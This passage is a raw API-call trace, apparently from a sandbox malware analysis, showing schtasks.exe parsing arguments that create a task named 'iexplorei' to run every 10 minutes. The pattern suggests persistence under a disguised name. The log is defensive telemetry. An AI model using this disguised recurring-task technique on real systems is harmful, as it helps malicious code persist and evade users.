_Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|sc|") returned 4 [0151.698] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tn|") returned 4 [0151.698] lstrlenW (lpString="|sc|") returned 4 [0151.698] lstrlenW (lpString="|tn|") returned 4 [0151.698] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0151.698] SetLastError (dwErrCode=0x490) [0151.698] lstrlenW (lpString="mo") returned 2 [0151.698] lstrlenW (lpString="mo") returned 2 [0151.698] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.698] lstrlenW (lpString="tn") returned 2 [0151.698] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.698] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|mo|") returned 4 [0151.698] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tn|") returned 4 [0151.698] lstrlenW (lpString="|mo|") returned 4 [0151.698] lstrlenW (lpString="|tn|") returned 4 [0151.698] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0151.698] SetLastError (dwErrCode=0x490) [0151.699] lstrlenW (lpString="d") returned 1 [0151.699] lstrlenW (lpString="d") returned 1 [0151.699] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.699] lstrlenW (lpString="tn") returned 2 [0151.699] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.699] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|d|") returned 3 [0151.699] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tn|") returned 4 [0151.699] lstrlenW (lpString="|d|") returned 3 [0151.699] lstrlenW (lpString="|tn|") returned 4 [0151.699] SetLastError (dwErrCode=0x490) [0151.699] lstrlenW (lpString="m") returned 1 [0151.699] lstrlenW (lpString="m") returned 1 [0151.699] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.699] lstrlenW (lpString="tn") returned 2 [0151.699] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.699] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|m|") returned 3 [0151.699] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tn|") returned 4 [0151.699] lstrlenW (lpString="|m|") returned 3 [0151.699] lstrlenW (lpString="|tn|") returned 4 [0151.699] SetLastError (dwErrCode=0x490) [0151.699] lstrlenW (lpString="i") returned 1 [0151.699] lstrlenW (lpString="i") returned 1 [0151.699] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.699] lstrlenW (lpString="tn") returned 2 [0151.699] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.699] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|i|") returned 3 [0151.700] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tn|") returned 4 [0151.700] lstrlenW (lpString="|i|") returned 3 [0151.700] lstrlenW (lpString="|tn|") returned 4 [0151.700] SetLastError (dwErrCode=0x490) [0151.700] lstrlenW (lpString="tn") returned 2 [0151.700] lstrlenW (lpString="tn") returned 2 [0151.700] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.700] lstrlenW (lpString="tn") returned 2 [0151.700] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.700] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tn|") returned 4 [0151.700] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tn|") returned 4 [0151.700] lstrlenW (lpString="|tn|") returned 4 [0151.700] lstrlenW (lpString="|tn|") returned 4 [0151.700] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0151.700] SetLastError (dwErrCode=0x0) [0151.700] SetLastError (dwErrCode=0x0) [0151.700] lstrlenW (lpString="iexplorei") returned 9 [0151.700] lstrlenW (lpString="-/") returned 2 [0151.700] StrChrIW (lpStart="-/", wMatch=0x69) returned 0x0 [0151.700] SetLastError (dwErrCode=0x490) [0151.700] SetLastError (dwErrCode=0x490) [0151.700] SetLastError (dwErrCode=0x0) [0151.700] lstrlenW (lpString="iexplorei") returned 9 [0151.700] StrChrIW (lpStart="iexplorei", wMatch=0x3a) returned 0x0 [0151.700] SetLastError (dwErrCode=0x490) [0151.700] SetLastError (dwErrCode=0x0) [0151.700] lstrlenW (lpString="iexplorei") returned 9 [0151.700] SetLastError (dwErrCode=0x0) [0151.701] SetLastError (dwErrCode=0x0) [0151.701] lstrlenW (lpString="/sc") returned 3 [0151.701] lstrlenW (lpString="-/") returned 2 [0151.701] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0151.701] lstrlenW (lpString="create") returned 6 [0151.701] lstrlenW (lpString="create") returned 6 [0151.701] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.701] lstrlenW (lpString="sc") returned 2 [0151.701] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.701] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|create|") returned 8 [0151.701] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|sc|") returned 4 [0151.701] lstrlenW (lpString="|create|") returned 8 [0151.701] lstrlenW (lpString="|sc|") returned 4 [0151.701] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0151.701] SetLastError (dwErrCode=0x490) [0151.701] lstrlenW (lpString="?") returned 1 [0151.701] lstrlenW (lpString="?") returned 1 [0151.701] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.701] lstrlenW (lpString="sc") returned 2 [0151.701] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.701] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|?|") returned 3 [0151.701] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|sc|") returned 4 [0151.701] lstrlenW (lpString="|?|") returned 3 [0151.701] lstrlenW (lpString="|sc|") returned 4 [0151.701] SetLastError (dwErrCode=0x490) [0151.701] lstrlenW (lpString="s") returned 1 [0151.702] lstrlenW (lpString="s") returned 1 [0151.702] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.702] lstrlenW (lpString="sc") returned 2 [0151.702] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.702] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|s|") returned 3 [0151.702] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|sc|") returned 4 [0151.702] lstrlenW (lpString="|s|") returned 3 [0151.702] lstrlenW (lpString="|sc|") returned 4 [0151.702] SetLastError (dwErrCode=0x490) [0151.702] lstrlenW (lpString="u") returned 1 [0151.702] lstrlenW (lpString="u") returned 1 [0151.702] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.702] lstrlenW (lpString="sc") returned 2 [0151.702] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.702] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|u|") returned 3 [0151.702] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|sc|") returned 4 [0151.702] lstrlenW (lpString="|u|") returned 3 [0151.702] lstrlenW (lpString="|sc|") returned 4 [0151.702] SetLastError (dwErrCode=0x490) [0151.702] lstrlenW (lpString="p") returned 1 [0151.703] lstrlenW (lpString="p") returned 1 [0151.703] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.703] lstrlenW (lpString="sc") returned 2 [0151.703] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.703] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|p|") returned 3 [0151.703] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|sc|") returned 4 [0151.703] lstrlenW (lpString="|p|") returned 3 [0151.703] lstrlenW (lpString="|sc|") returned 4 [0151.703] SetLastError (dwErrCode=0x490) [0151.703] lstrlenW (lpString="ru") returned 2 [0151.703] lstrlenW (lpString="ru") returned 2 [0151.703] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.703] lstrlenW (lpString="sc") returned 2 [0151.703] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.703] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|ru|") returned 4 [0151.703] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|sc|") returned 4 [0151.703] lstrlenW (lpString="|ru|") returned 4 [0151.703] lstrlenW (lpString="|sc|") returned 4 [0151.703] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0151.703] SetLastError (dwErrCode=0x490) [0151.705] lstrlenW (lpString="rp") returned 2 [0151.705] lstrlenW (lpString="rp") returned 2 [0151.705] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.705] lstrlenW (lpString="sc") returned 2 [0151.705] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.705] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|rp|") returned 4 [0151.705] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|sc|") returned 4 [0151.705] lstrlenW (lpString="|rp|") returned 4 [0151.705] lstrlenW (lpString="|sc|") returned 4 [0151.705] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0151.706] SetLastError (dwErrCode=0x490) [0151.706] lstrlenW (lpString="sc") returned 2 [0151.706] lstrlenW (lpString="sc") returned 2 [0151.706] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.706] lstrlenW (lpString="sc") returned 2 [0151.706] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.706] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|sc|") returned 4 [0151.706] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|sc|") returned 4 [0151.706] lstrlenW (lpString="|sc|") returned 4 [0151.706] lstrlenW (lpString="|sc|") returned 4 [0151.706] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0151.706] SetLastError (dwErrCode=0x0) [0151.706] SetLastError (dwErrCode=0x0) [0151.706] lstrlenW (lpString="MINUTE") returned 6 [0151.706] lstrlenW (lpString="-/") returned 2 [0151.706] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0151.706] SetLastError (dwErrCode=0x490) [0151.706] SetLastError (dwErrCode=0x490) [0151.706] SetLastError (dwErrCode=0x0) [0151.706] lstrlenW (lpString="MINUTE") returned 6 [0151.706] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0151.706] SetLastError (dwErrCode=0x490) [0151.706] SetLastError (dwErrCode=0x0) [0151.707] GetProcessHeap () returned 0x280000 [0151.707] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29d540 [0151.707] _memicmp (_Buf1=0x29d540, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.707] lstrlenW (lpString="MINUTE") returned 6 [0151.707] GetProcessHeap () returned 0x280000 [0151.707] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xe) returned 0x29d560 [0151.707] lstrlenW (lpString="MINUTE") returned 6 [0151.707] lstrlenW (lpString=" \x09") returned 2 [0151.707] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0151.707] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0151.707] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0151.707] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0151.707] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0151.707] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0151.707] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0151.707] GetLastError () returned 0x0 [0151.707] lstrlenW (lpString="MINUTE") returned 6 [0151.707] lstrlenW (lpString="MINUTE") returned 6 [0151.708] SetLastError (dwErrCode=0x0) [0151.708] SetLastError (dwErrCode=0x0) [0151.708] lstrlenW (lpString="/mo") returned 3 [0151.708] lstrlenW (lpString="-/") returned 2 [0151.708] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0151.708] lstrlenW (lpString="create") returned 6 [0151.708] lstrlenW (lpString="create") returned 6 [0151.708] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.708] lstrlenW (lpString="mo") returned 2 [0151.708] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.708] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|create|") returned 8 [0151.708] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|mo|") returned 4 [0151.708] lstrlenW (lpString="|create|") returned 8 [0151.708] lstrlenW (lpString="|mo|") returned 4 [0151.708] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0151.708] SetLastError (dwErrCode=0x490) [0151.708] lstrlenW (lpString="?") returned 1 [0151.709] lstrlenW (lpString="?") returned 1 [0151.709] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.709] lstrlenW (lpString="mo") returned 2 [0151.709] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.709] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|?|") returned 3 [0151.709] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|mo|") returned 4 [0151.709] lstrlenW (lpString="|?|") returned 3 [0151.709] lstrlenW (lpString="|mo|") returned 4 [0151.709] SetLastError (dwErrCode=0x490) [0151.709] lstrlenW (lpString="s") returned 1 [0151.709] lstrlenW (lpString="s") returned 1 [0151.709] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.709] lstrlenW (lpString="mo") returned 2 [0151.709] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.709] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|s|") returned 3 [0151.709] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|mo|") returned 4 [0151.709] lstrlenW (lpString="|s|") returned 3 [0151.709] lstrlenW (lpString="|mo|") returned 4 [0151.709] SetLastError (dwErrCode=0x490) [0151.709] lstrlenW (lpString="u") returned 1 [0151.709] lstrlenW (lpString="u") returned 1 [0151.709] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.709] lstrlenW (lpString="mo") returned 2 [0151.709] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.710] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|u|") returned 3 [0151.710] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|mo|") returned 4 [0151.710] lstrlenW (lpString="|u|") returned 3 [0151.710] lstrlenW (lpString="|mo|") returned 4 [0151.710] SetLastError (dwErrCode=0x490) [0151.710] lstrlenW (lpString="p") returned 1 [0151.710] lstrlenW (lpString="p") returned 1 [0151.710] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.710] lstrlenW (lpString="mo") returned 2 [0151.710] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.710] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|p|") returned 3 [0151.710] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|mo|") returned 4 [0151.710] lstrlenW (lpString="|p|") returned 3 [0151.710] lstrlenW (lpString="|mo|") returned 4 [0151.710] SetLastError (dwErrCode=0x490) [0151.710] lstrlenW (lpString="ru") returned 2 [0151.710] lstrlenW (lpString="ru") returned 2 [0151.710] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.710] lstrlenW (lpString="mo") returned 2 [0151.710] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.710] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|ru|") returned 4 [0151.710] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|mo|") returned 4 [0151.710] lstrlenW (lpString="|ru|") returned 4 [0151.711] lstrlenW (lpString="|mo|") returned 4 [0151.711] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0151.711] SetLastError (dwErrCode=0x490) [0151.711] lstrlenW (lpString="rp") returned 2 [0151.711] lstrlenW (lpString="rp") returned 2 [0151.711] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.711] lstrlenW (lpString="mo") returned 2 [0151.711] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.711] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|rp|") returned 4 [0151.711] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|mo|") returned 4 [0151.711] lstrlenW (lpString="|rp|") returned 4 [0151.711] lstrlenW (lpString="|mo|") returned 4 [0151.711] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0151.711] SetLastError (dwErrCode=0x490) [0151.711] lstrlenW (lpString="sc") returned 2 [0151.711] lstrlenW (lpString="sc") returned 2 [0151.711] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.711] lstrlenW (lpString="mo") returned 2 [0151.711] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.711] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|sc|") returned 4 [0151.711] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|mo|") returned 4 [0151.711] lstrlenW (lpString="|sc|") returned 4 [0151.711] lstrlenW (lpString="|mo|") returned 4 [0151.711] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0151.712] SetLastError (dwErrCode=0x490) [0151.712] lstrlenW (lpString="mo") returned 2 [0151.712] lstrlenW (lpString="mo") returned 2 [0151.712] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.712] lstrlenW (lpString="mo") returned 2 [0151.712] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.714] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|mo|") returned 4 [0151.714] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|mo|") returned 4 [0151.714] lstrlenW (lpString="|mo|") returned 4 [0151.714] lstrlenW (lpString="|mo|") returned 4 [0151.714] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0151.714] SetLastError (dwErrCode=0x0) [0151.714] SetLastError (dwErrCode=0x0) [0151.714] lstrlenW (lpString="10") returned 2 [0151.714] lstrlenW (lpString="-/") returned 2 [0151.714] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0151.714] SetLastError (dwErrCode=0x490) [0151.714] SetLastError (dwErrCode=0x490) [0151.714] SetLastError (dwErrCode=0x0) [0151.714] lstrlenW (lpString="10") returned 2 [0151.715] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0151.715] SetLastError (dwErrCode=0x490) [0151.715] SetLastError (dwErrCode=0x0) [0151.715] _memicmp (_Buf1=0x29d540, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.715] lstrlenW (lpString="10") returned 2 [0151.715] lstrlenW (lpString="10") returned 2 [0151.715] lstrlenW (lpString=" \x09") returned 2 [0151.715] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0151.715] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0151.715] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0151.715] GetLastError () returned 0x0 [0151.715] lstrlenW (lpString="10") returned 2 [0151.715] lstrlenW (lpString="10") returned 2 [0151.715] GetProcessHeap () returned 0x280000 [0151.715] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x6) returned 0x29b970 [0151.715] SetLastError (dwErrCode=0x0) [0151.715] SetLastError (dwErrCode=0x0) [0151.715] lstrlenW (lpString="/tr") returned 3 [0151.715] lstrlenW (lpString="-/") returned 2 [0151.715] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0151.715] lstrlenW (lpString="create") returned 6 [0151.716] lstrlenW (lpString="create") returned 6 [0151.716] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.716] lstrlenW (lpString="tr") returned 2 [0151.716] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.716] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|create|") returned 8 [0151.716] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tr|") returned 4 [0151.716] lstrlenW (lpString="|create|") returned 8 [0151.716] lstrlenW (lpString="|tr|") returned 4 [0151.716] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0151.716] SetLastError (dwErrCode=0x490) [0151.716] lstrlenW (lpString="?") returned 1 [0151.716] lstrlenW (lpString="?") returned 1 [0151.716] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.716] lstrlenW (lpString="tr") returned 2 [0151.716] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.716] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|?|") returned 3 [0151.716] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tr|") returned 4 [0151.716] lstrlenW (lpString="|?|") returned 3 [0151.716] lstrlenW (lpString="|tr|") returned 4 [0151.716] SetLastError (dwErrCode=0x490) [0151.717] lstrlenW (lpString="s") returned 1 [0151.717] lstrlenW (lpString="s") returned 1 [0151.717] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.717] lstrlenW (lpString="tr") returned 2 [0151.717] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.717] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|s|") returned 3 [0151.717] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tr|") returned 4 [0151.717] lstrlenW (lpString="|s|") returned 3 [0151.717] lstrlenW (lpString="|tr|") returned 4 [0151.717] SetLastError (dwErrCode=0x490) [0151.717] lstrlenW (lpString="u") returned 1 [0151.717] lstrlenW (lpString="u") returned 1 [0151.717] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.717] lstrlenW (lpString="tr") returned 2 [0151.717] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.717] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|u|") returned 3 [0151.717] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tr|") returned 4 [0151.717] lstrlenW (lpString="|u|") returned 3 [0151.717] lstrlenW (lpString="|tr|") returned 4 [0151.717] SetLastError (dwErrCode=0x490) [0151.717] lstrlenW (lpString="p") returned 1 [0151.717] lstrlenW (lpString="p") returned 1 [0151.717] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.718] lstrlenW (lpString="tr") returned 2 [0151.718] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.718] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|p|") returned 3 [0151.718] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tr|") returned 4 [0151.718] lstrlenW (lpString="|p|") returned 3 [0151.718] lstrlenW (lpString="|tr|") returned 4 [0151.718] SetLastError (dwErrCode=0x490) [0151.718] lstrlenW (lpString="ru") returned 2 [0151.718] lstrlenW (lpString="ru") returned 2 [0151.718] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.718] lstrlenW (lpString="tr") returned 2 [0151.718] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.718] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|ru|") returned 4 [0151.718] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tr|") returned 4 [0151.718] lstrlenW (lpString="|ru|") returned 4 [0151.718] lstrlenW (lpString="|tr|") returned 4 [0151.718] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0151.718] SetLastError (dwErrCode=0x490) [0151.718] lstrlenW (lpString="rp") returned 2 [0151.718] lstrlenW (lpString="rp") returned 2 [0151.718] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.718] lstrlenW (lpString="tr") returned 2 [0151.719] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.719] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|rp|") returned 4 